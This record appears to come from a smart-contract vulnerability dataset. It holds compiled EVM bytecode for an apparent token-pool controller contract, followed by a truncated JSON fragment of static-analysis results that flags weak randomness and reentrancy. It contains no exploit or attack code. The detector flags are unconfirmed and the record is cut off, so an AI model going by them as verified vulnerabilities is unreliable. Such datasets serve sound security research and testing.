5b6000918252602090912001546001600160a01b03161415610e21576000198101828114610daf576000846002018281548110610d5457fe5b6000918252602090912001546002860180546001600160a01b039092169250829186908110610d7f57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550505b83600201805480610dbc57fe5b600082815260209020810160001990810180546001600160a01b03191690550190556040517fbe9bb4bdca0a094babd75e3a98b1d2e2390633430d0a2f6e2b9970e2ee03fb2e90610e109088908a906145d9565b60405180910390a150505050610e30565b600190910190610cfb565b5050505b505050565b60045460ff1681565b600381565b6060816002548111158015610e585750600081115b610e745760405162461bcd60e51b815260040161071290614cc8565b60008381526003602090815260409182902060020180548351818402810184019094528084529091830182828015610ed557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610eb7575b5050505050915050919050565b7f000000000000000000000000592f70ce43a310d15ff59be1460f38ab6df3fe6581565b6001600160a01b0381166000908152600560205260409020805460ff16610f3f5760405162461bcd60e51b815260040161071290614b69565b805462093a80600160281b9091046001600160401b031642031015610f765760405162461bcd60e51b815260040161071290614b0c565b805464ff00000000198116600160ff600160201b9384900481169190910190811690920217825560031615610fbd5760405162461bcd60e51b815260040161071290614ab5565b610fc78183612f4a565b5050565b6104b081565b610fd9612f46565b6000546001600160a01b039081169116146110065760405162461bcd60e51b815260040161071290614bfe565b8160025481111580156110195750600081115b6110355760405162461bcd60e51b815260040161071290614cc8565b600083815260036020526040902060028101546019116110675760405162461bcd60e51b815260040161071290614b3c565b6110718184613146565b6040516396e85ced60e01b81526001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a16906396e85ced906110bd908690600401614476565b602060405180830381600087803b1580156110d757600080fd5b505af11580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f9190613f56565b507ff4c563a3ea86ff1f4275e8c207df0375a51963f2b831b7bf4da8be938d92876c83856040516111419291906145d9565b60405180910390a150505050565b60006111c37f000000000000000000000000d23dedc599bd56767e42d48484d6ca96ab01c115307f9f8b000e870cb32f9827cf46e6a69e2637d6c7131de0898cec5106d029b20f8d856040516020016111a891906143da565b604051602081830303815290604052805190602001206131d0565b92915050565b846111d381612dc2565b6001600160a01b0316336001600160a01b0316146112035760405162461bcd60e51b8152600401610712906149d3565b838281146112235760405162461bcd60e51b815260040161071290614c7e565b61122b613a4d565b506001600160a01b038716600090815260056020908152604091829020825160a081018452905460ff8082161580158452610100830461ffff169484019490945263010000008204811694830194909452600160201b81049093166060820152600160281b9092046001600160401b031660808301526112bd5760405162461bcd60e51b815260040161071290614a8c565b604051633e48351560e11b81526060906001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a1690637c906a2a9061131b908b908b908b908b906104b0906202a3009060040161469e565b60006040518083038186803b15801561133357600080fd5b505afa158015611347573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261136f9190810190613ed3565b9050606061137c82613215565b905060007f000000000000000000000000d23dedc599bd56767e42d48484d6ca96ab01c1156001600160a01b0316631a5e5bc57f9f8b000e870cb32f9827cf46e6a69e2637d6c7131de0898cec5106d029b20f8d8d6040516020016113e191906143da565b604051602081830303815290604052805190602001206040518363ffffffff1660e01b8152600401611414929190614468565b602060405180830381600087803b15801561142e57600080fd5b505af1158015611442573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114669190613bdb565b604051630ac4431d60e21b81529091506001600160a01b038c1690632b110c74906114c3908d908d908d908d90899033908a907f00000000000000000000000078a3ef33cf033381feb43ba4212f2af5a5a0a2ea90600401614635565b600060405180830381600087803b1580156114dd57600080fd5b505af11580156114f1573d6000803e3d6000fd5b50505050806001600160a01b03166389232a00308d600460009054906101000a900460ff166040518463ffffffff1660e01b815260040161153493929190614545565b600060405180830381600087803b15801561154e57600080fd5b505af1158015611562573d6000803e3d6000fd5b505050426001600160401b0390811660808701908152600187526001600160a01b038e1660009081526005602090815260409182902089518154928b0151848c015160608d0151965160ff199095169215159290921762ffff00191661010061ffff8316021763ff0000001916630100000060ff808516919091029190911764ff000000001916600160201b9190971602959095176cffffffffffffffff00000000001916600160281b939096169290920294909417909355517f9ff2050ac7faae9dc192e1cc9abe73b18a9b849f9b43f509914d80fa104d5903935061164f928f9286929091906144ed565b60405180910390a15050505050505050505050565b61166c612f46565b6000546001600160a01b039081169116146116995760405162461bcd60e51b815260040161071290614bfe565b8260025481111580156116ac5750600081115b6116c85760405162461bcd60e51b815260040161071290614cc8565b60008481526003602052604090206002810154601990840111156116fe5760405162461bcd60e51b815260040161071290614b3c565b60005b8381101561177a57600085858381811061171757fe5b905060200201602081019061172c9190613bbf565b90506117388382613146565b7ff4c563a3ea86ff1f4275e8c207df0375a51963f2b831b7bf4da8be938d92876c81886040516117699291906145d9565b60405180910390a150600101611701565b506040516303f294b760e51b81526001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a1690637e5296e0906117c99087908790600401614621565b600060405180830381600087803b1580156117e357600080fd5b505af11580156117f7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e2c9190810190613e47565b611827612f46565b6000546001600160a01b039081169116146118545760405162461bcd60e51b815260040161071290614bfe565b600080546040516001926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001179055565b6000806118ad612f46565b6000546001600160a01b039081169116146118da5760405162461bcd60e51b815260040161071290614bfe565b60028810156118fb5760405162461bcd60e51b815260040161071290614db9565b600a88111561191c5760405162461bcd60e51b815260040161071290614a60565b6001600160901b0387106119425760405162461bcd60e51b815260040161071290614de5565b7f000000000000000000000000592f70ce43a310d15ff59be1460f38ab6df3fe656001600160a01b031663187775f97f42fdd905bf1f3fac3b475cdca7cc127db3a757ae179f57c9da3b4787f5f582068b8b6040516020016119a5929190614468565b604051602081830303815290604052805190602001206040518363ffffffff1660e01b81526004016119d8929190614468565b602060405180830381600087803b1580156119f257600080fd5b505af1158015611a06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2a9190613bdb565b6040516319f0f84960e01b81529092506001600160a01b038316906319f0f84990611a619030908a908a908a908a9060040161456b565b600060405180830381600087803b158015611a7b57600080fd5b505af1158015611a8f573d6000803e3d6000fd5b505050506040518060a001604052806000151581526020018a61ffff1681526020018960ff168152602001600060ff16815260200160006001600160401b031681525060056000846001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548161ffff021916908361ffff16021790555060408201518160000160036101000a81548160ff021916908360ff16021790555060608201518160000160046101000a81548160ff021916908360ff16021790555060808201518160000160056101000a8154816001600160401b0302191690836001600160401b031602179055509050507f000000000000000000000000d23dedc599bd56767e42d48484d6ca96ab01c1156001600160a01b0316631a5e5bc57fe3d7c1179cc3f4ae9aab4e39c8923b411d4674dcb3d44aa456301be51bb24aef84604051602001611c0d91906143da565b604051602081830303815290604052805190602001206040518363ffffffff1660e01b8152600401611c40929190614468565b602060405180830381600087803b158015611c5a57600080fd5b505af1158015611c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c929190613bdb565b905080606080611cac8c8c6001600160901b038d16611d61565b604051633b4f19a560e21b815291935091506001600160a01b0384169063ed3c669490611ce39030908990879087906004016144a4565b600060405180830381600087803b158015611cfd57600080fd5b505af1158015611d11573d6000803e3d6000fd5b505050507f7ad23833dba658b2bdc6f260fb60a3240b3868086ad60b4e42276f5eeba73e6a85858e8e604051611d4a949392919061451c565b60405180910390a150505097509795505050505050565b6060806060611d708686611ef1565b90935090506060611d81858361331c565b604051630228300360e51b81529091506001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a1690634506006090611ddb90879085906104b0906202a3009060040161472a565b60006040518083038186803b158015611df357600080fd5b505afa158015611e07573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611e2f9190810190613ed3565b805190935060005b81811015611e7d57620f4240858281518110611e4f57fe5b60200260200101511015611e755760405162461bcd60e51b815260040161071290614a37565b600101611e37565b50505050935093915050565b611e916133e4565b565b611e9b612f46565b6000546001600160a01b03908116911614611ec85760405162461bcd60e51b815260040161071290614bfe565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b62093a8081565b606080836002548111158015611f075750600081115b611f235760405162461bcd60e51b815260040161071290614cc8565b611f2c85612b97565b81519194509250841115611f525760405162461bcd60e51b815260040161071290614d92565b5082825291825292909150565b620f424081565b806002548111158015611f795750600081115b611f955760405162461bcd60e51b815260040161071290614cc8565b6000828152600360209081526040918290206002810180548451818502810185019095528085529193606093909290830182828015611ffd57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611fdf575b5050506001850154604051631a86165360e01b81529394506060936001600160a01b039091169250631a861653915061203a9085906004016146e9565b60006040518083038186803b15801561205257600080fd5b505afa158015612066573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261208e9190810190613ed3565b83549091506060906120b790849084906001600160801b0380821691600160801b900416613463565b600087815260036020908152604090912085519293506120df92600290910191860190613a7b565b5060005b8151811015610b0d5760008282815181106120fa57fe5b6020908102919091018101516001600160a01b038116600090815260038901909252604091829020805460ff1916905590519091507fbe9bb4bdca0a094babd75e3a98b1d2e2390633430d0a2f6e2b9970e2ee03fb2e9061215e9083908b906145d9565b60405180910390a1506001016120e3565b612177612f46565b6000546001600160a01b039081169116146121a45760405162461bcd60e51b815260040161071290614bfe565b6000826001600160801b0316116121cd5760405162461bcd60e51b815260040161071290614d68565b816001600160801b0316816001600160801b0316116121fe5760405162461bcd60e51b815260040161071290614ca3565b6001600160a01b0383166122245760405162461bcd60e51b815260040161071290614d15565b600280546001908101918290556000828152600360205260409081902091820180546001600160a01b0388166001600160a01b031990911617905581546001600160801b03858116600160801b028188166fffffffffffffffffffffffffffffffff199093169290921716178255517fd5e8e673f6e24dc7176b58a5620dcee488e08e985c6fd9db96b1b6d214004117906122c89084908990899089908990614e0e565b60405180910390a1505050505050565b60008260025481111580156122ed5750600081115b6123095760405162461bcd60e51b815260040161071290614cc8565b505060009182526003602081815260408085206001600160a01b0394909416855292909101905290205460ff1690565b6000546001600160a01b031690565b7f000000000000000000000000d23dedc599bd56767e42d48484d6ca96ab01c11581565b612374612f46565b6000546001600160a01b039081169116146123a15760405162461bcd60e51b815260040161071290614bfe565b6001600160a01b038216600090815260056020526040902054829060ff166123db5760405162461bcd60e51b815260040161071290614b69565b6040516334e1990760e01b81526001600160a01b038416906334e1990790610adf9085906004016148ac565b60006124aa7f000000000000000000000000d23dedc599bd56767e42d48484d6ca96ab01c1157f000000000000000000000000592f70ce43a310d15ff59be1460f38ab6df3fe657f42fdd905bf1f3fac3b475cdca7cc127db3a757ae179f57c9da3b4787f5f58206308787604051602001612483929190614468565b604051602081830303815290604052805190602001206040516020016111a89291906143f2565b9392505050565b60056020526000908152604090205460ff80821691610100810461ffff169163010000008204811691600160201b810490911690600160281b90046001600160401b031685565b6202a30081565b60025481565b7f00000000000000000000000078a3ef33cf033381feb43ba4212f2af5a5a0a2ea81565b600a81565b600281565b61253b611e89565b6004805460ff19166002179055600680546001600160a01b039092166001600160a01b0319909216919091179055565b7f9f8b000e870cb32f9827cf46e6a69e2637d6c7131de0898cec5106d029b20f8d81565b612597612f46565b6000546001600160a01b039081169116146125c45760405162461bcd60e51b815260040161071290614bfe565b6001600160a01b038316600090815260056020526040902054839060ff166125fe5760405162461bcd60e51b815260040161071290614b69565b60405163f8b5db0960e01b81526001600160a01b0385169063f8b5db099061262c908690869060040161448a565b600060405180830381600087803b15801561264657600080fd5b505af115801561265a573d6000803e3d6000fd5b5050505050505050565b6001546001600160a01b031681565b61267b612f46565b6000546001600160a01b039081169116146126a85760405162461bcd60e51b815260040161071290614bfe565b60008160ff161180156126be575060148160ff16105b6126da5760405162461bcd60e51b815260040161071290614985565b604051630633177160e41b81526001600160a01b03831690636331771090612706908490600401614e57565b600060405180830381600087803b15801561272057600080fd5b505af1158015610e2c573d6000803e3d6000fd5b60608160025481111580156127495750600081115b6127655760405162461bcd60e51b815260040161071290614cc8565b6000838152600360205260409081902090516303f294b760e51b81526001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a1691637e5296e0916127c291600201906004016147cf565b600060405180830381600087803b1580156127dc57600080fd5b505af11580156127f0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526124aa9190810190613e47565b612820612f46565b6000546001600160a01b0390811691161461284d5760405162461bcd60e51b815260040161071290614bfe565b60008160ff16118015612863575060148160ff16105b61287f5760405162461bcd60e51b815260040161071290614985565b6004805460ff191660ff92909216919091179055565b61289d613a4d565b506001600160a01b038116600090815260056020908152604091829020825160a081018452905460ff8082161515808452610100830461ffff169484019490945263010000008204811694830194909452600160201b81049093166060820152600160281b9092046001600160401b0316608083015261292f5760405162461bcd60e51b815260040161071290614b69565b62093a8081608001516001600160401b0316420310156129615760405162461bcd60e51b815260040161071290614b0c565b60608101805160010160ff81169091526003166129905760405162461bcd60e51b815260040161071290614ab5565b600060036000836020015161ffff16815260200190815260200160002090506060836001600160a01b031663039209af6040518163ffffffff1660e01b815260040160006040518083038186803b1580156129ea57600080fd5b505afa1580156129fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a269190810190613daa565b6001830154604051631a86165360e01b81529192506060916001600160a01b0390911690631a86165390612a5e9085906004016146e9565b60006040518083038186803b158015612a7657600080fd5b505afa158015612a8a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ab29190810190613ed3565b90506060612abf82613215565b426001600160401b03908116608088019081526001600160a01b0389166000818152600560209081526040918290208b518154928d0151848e015160608f0151975160ff199095169215159290921762ffff00191661010061ffff909216919091021763ff0000001916630100000060ff928316021764ff000000001916600160201b9190961602949094176cffffffffffffffff00000000001916600160281b9190951602939093179091559051635d5e8ce760e01b815291925090635d5e8ce7906108ad9086908590600401614771565b601981565b606080826002548111158015612bad5750600081115b612bc95760405162461bcd60e51b815260040161071290614cc8565b600084815260036020908152604091829020600281018054845181850281018501909552808552919392909190830182828015612c2f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612c11575b5050506001840154604051631a86165360e01b81529397506001600160a01b031692631a8616539250612c67915087906004016146e9565b60006040518083038186803b158015612c7f57600080fd5b505afa158015612c93573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612cbb9190810190613ed3565b8154909350612ce190859085906001600160801b0380821691600160801b9004166136c0565b5050915091565b612cf0612f46565b6000546001600160a01b03908116911614612d1d5760405162461bcd60e51b815260040161071290614bfe565b6001600160a01b038116612d435760405162461bcd60e51b815260040161071290614908565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b7fe3d7c1179cc3f4ae9aab4e39c8923b411d4674dcb3d44aa456301be51bb24aef81565b60006111c37f000000000000000000000000d23dedc599bd56767e42d48484d6ca96ab01c115307fe3d7c1179cc3f4ae9aab4e39c8923b411d4674dcb3d44aa456301be51bb24aef856040516020016111a891906143da565b6000806000836001600160a01b03166398836f086040518163ffffffff1660e01b8152600401604080518083038186803b158015612e5857600080fd5b505afa158015612e6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e909190613d50565b604051635fb6ec1760e11b815291935091506001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a169063bf6dd82e90612eec90859085906104b0906202a300906004016145f2565b60206040518083038186803b158015612f0457600080fd5b505afa158015612f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f3c919061407b565b925050505b919050565b3390565b81546301000000810460ff16906060908190612f6f90610100900461ffff1684611ef1565b915091506000612f7e85612e1b565b9050606481046060856001600160401b0381118015612f9c57600080fd5b50604051908082528060200260200182016040528015612fc6578160200160208202803683370190505b50905060005b86811015612ff45782828281518110612fe157fe5b6020908102919091010152600101612fcc565b50604051630228300360e51b81526060906001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a169063450600609061304f90899086906104b0906202a3009060040161472a565b60006040518083038186803b15801561306757600080fd5b505afa15801561307b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130a39190810190613ed3565b905060606130b086613215565b8a546cffffffffffffffff00000000001916600160281b426001600160401b031602178b55604051630c3f468160e41b81529091506001600160a01b038a169063c3f4681090613108908a9085908790600401614796565b600060405180830381600087803b15801561312257600080fd5b505af1158015613136573d6000803e3d6000fd5b5050505050505050505050505050565b6001600160a01b038116600090815260038301602052604090205460ff16156131815760405162461bcd60e51b8152600401610712906149aa565b6001600160a01b0316600081815260038301602090815260408220805460ff191660019081179091556002909401805494850181558252902090910180546001600160a01b0319169091179055565b6000806131de85858561389b565b905061320b817fa035ad05a1663db5bfd455b99cd7c6ac6bd49269738458eda140e0b78ed53f79886138d1565b9695505050505050565b8051606090600090806001600160401b038111801561323357600080fd5b5060405190808252806020026020018201604052801561325d578160200160208202803683370190505b50925060005b8181101561329b5761329185828151811061327a57fe5b60200260200101518461391090919063ffffffff16565b9250600101613263565b5060005b81811015613314576132e86132e3846132dd68015af1d78b58c400008986815181106132c757fe5b602002602001015161393590919063ffffffff16565b9061396f565b6139b1565b8482815181106132f457fe5b6001600160601b039092166020928302919091019091015260010161329f565b505050919050565b8051606090600090806001600160401b038111801561333a57600080fd5b50604051908082528060200260200182016040528015613364578160200160208202803683370190505b50925060005b8181101561338b5761338185828151811061327a57fe5b925060010161336a565b50670de0b6b3a764000080830290860260005b838110156133d9576133ba836132dd848a85815181106132c757fe5b8682815181106133c657fe5b602090810291909101015260010161339e565b505050505092915050565b6000546001600160a01b03161561340d5760405162461bcd60e51b815260040161071290614c33565b6000613417612f46565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350565b8351606090600090806001600160401b038111801561348157600080fd5b506040519080825280602002602001820160405280156134ab578160200160208202803683370190505b50925060005b818110156136a35760008782815181106134c757fe5b6020026020010151905060008983815181106134df57fe5b60200260200101519050868211806134f657508782105b156135aa578086868060010197508151811061350e57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508984600190039450848151811061354157fe5b6020026020010151905088848151811061355757fe5b602002602001015191508189848151811061356e57fe5b602002602001018181525050808a848151811061358757fe5b6001600160a01b039092166020928302919091019091015250506000190161369b565b60001983015b600081121580156135d35750828a82815181106135c957fe5b6020026020010151105b1561364b578981815181106135e457fe5b60200260200101518a82600101815181106135fb57fe5b6020026020010181815250508a818151811061361357fe5b60200260200101518b826001018151811061362a57fe5b6001600160a01b0390921660209283029190910190910152600019016135b0565b828a826001018151811061365b57fe5b602002602001018181525050818b826001018151811061367757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505050505b6001016134b1565b50865181146136b6578087528086528183525b5050949350505050565b835160005b818110156138845760008582815181106136db57fe5b6020026020010151905060008783815181106136f357fe5b602002602001015190508482118061370a57508582105b1561378b578784600190039450848151811061372257fe5b6020026020010151905086848151811061373857fe5b602002602001015191508187848151811061374f57fe5b6020026020010181815250508088848151811061376857fe5b6001600160a01b039092166020928302919091019091015250506000190161387c565b60001983015b600081121580156137b45750828882815181106137aa57fe5b6020026020010151105b1561382c578781815181106137c557fe5b60200260200101518882600101815181106137dc57fe5b6020026020010181815250508881815181106137f457fe5b602002602001015189826001018151811061380b57fe5b6001600160a01b039092166020928302919091019091015260001901613791565b8288826001018151811061383c57fe5b6020026020010181815250508189826001018151811061385857fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505050505b6001016136c5565b5084518114613894578085528084525b5050505050565b60008383836040516020016138b29392919061440f565b6040516020818303038152906040528051906020012090509392505050565b60008060ff60f81b8386866040516020016138ef9493929190614434565b60408051808303601f19018152919052805160209091012095945050505050565b6000828201838110156124aa5760405162461bcd60e51b81526004016107129061494e565b600082613944575060006111c3565b8282028284828161395157fe5b04146124aa5760405162461bcd60e51b815260040161071290614bbd565b60006124aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506139da565b806001600160601b0381168114612f415760405162461bcd60e51b815260040161071290614b95565b600081836139fb5760405162461bcd60e51b815260040161071291906148b5565b506000838581613a0757fe5b0495945050505050565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b6040805160a08101825260008082526020820181905291810182905260608101829052608081019190915290565b828054828255906000526020600020908101928215613ad0579160200282015b82811115613ad057825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190613a9b565b50613adc929150613ae0565b5090565b5b80821115613adc5780546001600160a01b0319168155600101613ae1565b60008083601f840112613b10578182fd5b5081356001600160401b03811115613b26578182fd5b6020830191508360208083028501011115613b4057600080fd5b9250929050565b60008083601f840112613b58578182fd5b5081356001600160401b03811115613b6e578182fd5b602083019150836020828501011115613b4057600080fd5b80356001600160801b03811681146111c357600080fd5b80516111c381614ed0565b80516001600160601b03811681146111c357600080fd5b600060208284031215613bd0578081fd5b81356124aa81614eaa565b600060208284031215613bec578081fd5b81516124aa81614eaa565b60008060408385031215613c09578081fd5b8235613c1481614eaa565b91506020830135613c2481614eaa565b809150509250929050565b600080600060608486031215613c43578081fd5b8335613c4e81614eaa565b92506020840135613c5e81614eaa565b91506040840135613c6e81614eaa565b809150509250925092565b600080600080600060608688031215613c90578283fd5b8535613c9b81614eaa565b945060208601356001600160401b0380821115613cb6578485fd5b613cc289838a01613aff565b90965094506040880135915080821115613cda578283fd5b50613ce788828901613aff565b969995985093965092949392505050565b60008060408385031215613d0a578182fd5b8235613d1581614eaa565b91506020830135613c2481614ec2565b60008060408385031215613d37578182fd5b8235613d4281614eaa565b946020939093013593505050565b60008060408385031215613d62578182fd5b8251613d6d81614eaa565b6020939093015192949293505050565b60008060408385031215613d8f578182fd5b8235613d9a81614eaa565b91506020830135613c2481614ed0565b60006020808385031215613dbc578182fd5b82516001600160401b03811115613dd1578283fd5b8301601f81018513613de1578283fd5b8051613df4613def82614e8b565b614e65565b8181528381019083850185840285018601891015613e10578687fd5b8694505b83851015613e3b578051613e2781614eaa565b835260019490940193918501918501613e14565b50979650505050505050565b60006020808385031215613e59578182fd5b82516001600160401b03811115613e6e578283fd5b8301601f81018513613e7e578283fd5b8051613e8c613def82614e8b565b8181528381019083850185840285018601891015613ea8578687fd5b8694505b83851015613e3b578051613ebf81614ec2565b835260019490940193918501918501613eac565b60006020808385031215613ee5578182fd5b82516001600160401b03811115613efa578283fd5b8301601f81018513613f0a578283fd5b8051613f18613def82614e8b565b8181528381019083850185840285018601891015613f34578687fd5b8694505b83851015613e3b578051835260019490940193918501918501613f38565b600060208284031215613f67578081fd5b81516124aa81614ec2565b60008060008060808587031215613f87578182fd5b843593506020850135613f9981614eaa565b9250613fa88660408701613b86565b9150613fb78660608701613b86565b905092959194509250565b600060e08284031215613fd3578081fd5b613fdd60e0614e65565b8251613fe881614ec2565b81526020830151613ff881614ec2565b6020820152604083015164ffffffffff81168114614014578283fd5b60408201526140268460608501613ba8565b60608201526140388460808501613ba8565b608082015261404a8460a08501613b9d565b60a082015260c083015160c08201528091505092915050565b600060208284031215614074578081fd5b5035919050565b60006020828403121561408c578081fd5b5051919050565b600080604083850312156140a5578182fd5b823591506020830135613c2481614eaa565b6000806000604084860312156140cb578081fd5b8335925060208401356001600160401b038111156140e7578182fd5b6140f386828701613aff565b9497909650939450505050565b60008060408385031215614112578182fd5b823591506020808401356001600160401b0381111561412f578283fd5b8401601f8101861361413f578283fd5b803561414d613def82614e8b565b81815283810190838501858402850186018a1015614169578687fd5b8694505b8385101561419457803561418081614eaa565b83526001949094019391850191850161416d565b5080955050505050509250929050565b600080604083850312156141b6578182fd5b50508035926020909101359150565b6000806000606084860312156141d9578081fd5b505081359360208301359350604090920135919050565b600080600080600080600060a0888a03121561420a578485fd5b87359650602088013595506040880135945060608801356001600160401b0380821115614235578384fd5b6142418b838c01613b47565b909650945060808a0135915080821115614259578384fd5b506142668a828b01613b47565b989b979a50959850939692959293505050565b60006020828403121561428a578081fd5b81356124aa81614ed0565b60008284526020808501945082825b858110156142d25781356142b781614eaa565b6001600160a01b0316875295820195908201906001016142a4565b509495945050505050565b6000815180845260208085019450808401835b838110156142d25781516001600160a01b0316875295820195908201906001016142f0565b81835260006001600160fb1b0383111561432d578081fd5b6020830280836020870137939093016020019283525090919050565b6000815180845260208085019450808401835b838110156142d25781518752958201959082019060010161435c565b6000815180845260208085019450808401835b838110156142d25781516001600160601b03168752958201959082019060010161438b565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b60609190911b6001600160601b031916815260140190565b60609290921b6001600160601b0319168252601482015260340190565b60609390931b6001600160601b03191683526014830191909152603482015260540190565b6001600160f81b031994909416845260609290921b6001600160601b03191660018401526015830152603582015260550190565b918252602082015260400190565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b038581168252841660208201526080604082018190526000906144d0908301856142dd565b82810360608401526144e28185614349565b979650505050505050565b6001600160a01b03948516815292909316602083015261ffff16604082015260ff909116606082015260800190565b6001600160a01b0394851681529290931660208301526040820152606081019190915260800190565b6001600160a01b03938416815291909216602082015260ff909116604082015260600190565b6001600160a01b038616815260606020820181905260009061459090830186886143b0565b82810360408401526145a38185876143b0565b98975050505050505050565b6001600160a01b039390931683526001600160801b03918216602084015216604082015260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b03949094168452602084019290925263ffffffff908116604084015216606082015260800190565b600060208252610bff602083018486614295565b600060c0825261464960c083018a8c614295565b828103602084015261465c81898b614315565b905082810360408401526146708188614378565b6001600160a01b03968716606085015294861660808401525050921660a09092019190915295945050505050565b6000608082526146b260808301888a614295565b82810360208401526146c5818789614315565b91505063ffffffff8085166040840152808416606084015250979650505050505050565b6000602082526124aa60208301846142dd565b60006040825261470f60408301856142dd565b82810360208401526147218185614349565b95945050505050565b60006080825261473d60808301876142dd565b828103602084015261474f8187614349565b91505063ffffffff808516604084015280841660608401525095945050505050565b60006040825261478460408301856142dd565b82810360208401526147218185614378565b6000606082526147a960608301866142dd565b82810360208401526147bb8186614378565b9050828103604084015261320b8185614349565b6020808252825482820181905260008481528281209092916040850190845b818110156148135783546001600160a01b0316835260019384019392850192016147ee565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561481357835115158352928401929184019160010161483b565b6000602082526124aa6020830184614349565b901515815260200190565b941515855261ffff93909316602085015260ff91821660408501521660608301526001600160401b0316608082015260a00190565b90815260200190565b6000602080835283518082850152825b818110156148e1578581018301518582016040015282016148c5565b818111156148f25783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252600b908201526a4552525f5052454d49554d60a81b604082015260600190565b6020808252600f908201526e11549497d513d2d15397d093d55391608a1b604082015260600190565b60208082526017908201527f4552525f4e4f545f5052455f4445504c4f595f504f4f4c000000000000000000604082015260600190565b60208082526013908201527211549497d513d2d15397d393d517d093d55391606a1b604082015260600190565b6020808252600f908201526e4552525f4d494e5f42414c414e434560881b604082015260600190565b6020808252601290820152714552525f4d41585f494e4445585f53495a4560701b604082015260600190565b6020808252600f908201526e11549497d253925512505312569151608a1b604082015260600190565b60208082526011908201527008aa4a4bea48aae8a928e90be929c888ab607b1b604082015260600190565b60208082526012908201527111549497d393d517d055551213d49256915160721b604082015260600190565b6020808252601690820152754552525f504f4f4c5f524557454947485f44454c415960501b604082015260600190565b6020808252601390820152724552525f4d41585f4c4953545f544f4b454e5360681b604082015260600190565b60208082526012908201527111549497d413d3d317d393d517d193d5539160721b604082015260600190565b6020808252600e908201526d22a9292fa6a0ac2faaa4a72a1c9b60911b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602b908201527f4f776e61626c653a206f776e65722068617320616c7265616479206265656e2060408201526a1a5b9a5d1a585b1a5e995960aa1b606082015260800190565b6020808252600b908201526a22a9292fa0a9292fa622a760a91b604082015260600190565b6020808252600b908201526a04552525f4d41585f4341560ac1b604082015260600190565b6020808252600b908201526a11549497d31254d517d25160aa1b604082015260600190565b6020808252600e908201526d11549497d15354151657d31254d560921b604082015260600190565b60208082526010908201526f4552525f4e554c4c5f4144445245535360801b604082015260600190565b6020808252600f908201526e4552525f544f4b454e5f524541445960881b604082015260600190565b60208082526010908201526f04552525f4e554c4c5f4d494e5f4341560841b604082015260600190565b6020808252600d908201526c4552525f4c4953545f53495a4560981b604082015260600190565b6020808252601290820152714552525f4d494e5f494e4445585f53495a4560701b604082015260600190565b6020808252600f908201526e11549497d3505617d55253950c4d0d608a1b604082015260600190565b94855260208501939093526001600160a01b039190911660408401526001600160801b03908116606084015216608082015260a00190565b63ffffffff91909116815260200190565b60ff91909116815260200190565b6040518181016001600160401b0381118282101715614e8357600080fd5b604052919050565b60006001600160401b03821115614ea0578081fd5b5060209081020190565b6001600160a01b0381168114614ebf57600080fd5b50565b8015158114614ebf57600080fd5b60ff81168114614ebf57600080fdfea26469706673582212208e9db33b73c9e0f5506ca16089f24f777c0760ebc0bb81e1e4f702d810c8d6c864736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": 